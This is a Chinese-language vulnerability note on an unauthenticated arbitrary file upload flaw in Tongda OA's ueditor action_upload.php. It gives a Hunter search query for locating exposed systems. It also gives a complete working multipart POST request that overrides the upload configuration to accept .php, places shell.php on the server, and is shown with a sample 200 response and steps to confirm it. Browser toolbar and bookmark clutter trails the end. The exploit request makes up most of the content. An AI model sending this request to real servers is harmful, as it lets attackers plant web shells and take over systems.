

## T10-12通达-OA-文件上传

### 漏洞描述：

action\_upload.php 文件过滤不足且无需后台权限，导致任意文件上传漏洞。

### 网站图片：



### 网络测绘：

### Hunter 语法：

app.name="通达 OA"

### 漏洞复现：

```
POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_371
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 605

--00content0boundary00
Content-Disposition: form-data; name="CONFIG[fileFieldName]"

filename
--00content0boundary00
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"

10000
--00content0boundary00
Content-Disposition: form-data; name="CONFIG[filePathFormat]"

shell
--00content0boundary00
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"

.php
--00content0boundary00
Content-Disposition: form-data; name="mufile"

submit
--00content0boundary00
Content-Disposition: form-data; name="filename"; filename="shell.php"

<?php echo 123;?>
--00content0boundary00--
```

请求

美化Raw\nActions

1 POST /module/ueditor/php/action\_upload.php?action=uploadfile HTTP/1.1

2 Content-Type: multipart/form-data; boundary=00content0boundary00

3 User-Agent: Java/1.8.0\_371

4 Host: 10.10.10.10

5 Accept: text/html, image/gif, image/jpeg, \*/\*; q=.2, \*/\*; q=.2

6 Connection: keep-alive

7 Content-Length: 605

8

9 --00content0boundary00

10 Content-Disposition: form-data; name="CONFIG[fileFieldName]"

11

12 filename

13 --00content0boundary00

14 Content-Disposition: form-data; name="CONFIG[fileMaxSize]"

15

16 10000

17 --00content0boundary00

18 Content-Disposition: form-data; name="CONFIG[filePathFormat]"

19

20 shell

21 --00content0boundary00

22 Content-Disposition: form-data; name="CONFIG[fileAllowFiles[]]"

23

24 .php

25 --00content0boundary00

26 Content-Disposition: form-data; name="mufile"

27

28 submit

29 --00content0boundary00

30 Content-Disposition: form-data; name="filename"; filename="shell.php"

31

32 <?php echo 123;?>

33 --00content0boundary00--

响应

美化Raw页面渲染\nActions

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Wed, 02 Aug 2023 01:50:40 GMT

4 Content-Type: text/html; charset=gbk

5 Connection: keep-alive

6 Vary: Accept-Encoding

7 X-Frame-Options: SAMEORIGIN

8 Content-Length: 0

9

10

上传文件地址为http://ip/shell.php,发起get请求上传后文件地址，响应200，表示存在该漏洞，否则不存在

← → ↺ 🏠

🔒 🗑️ 🖨️ 📄 📁 📂 📅 📆 📇 📈 📉 📊 📋 📌 📍 📎 📏 📐 📑 📒 📓 📔 📕 📖 📗 📘 📙 📚 📛 📜 📝 📞 📟 📠 📡 📢 📣 📤 📥 📦 📧 📨 📩 📪 📫 📬 📭 📮 📯 📰 📱 📲 📳 📴 📵 📶 📷 📸 📹 📺 📻 📼 📽 📾 📿

/shell.php

📁 fofa 📁 信息收集 📁 MD5 📁 沙箱 📁 blog 📁 study 📁 靶场 📁 tools 📁 chagpt 📁 CVE Discovery | Ha... 📁 1、网络安全应急演练...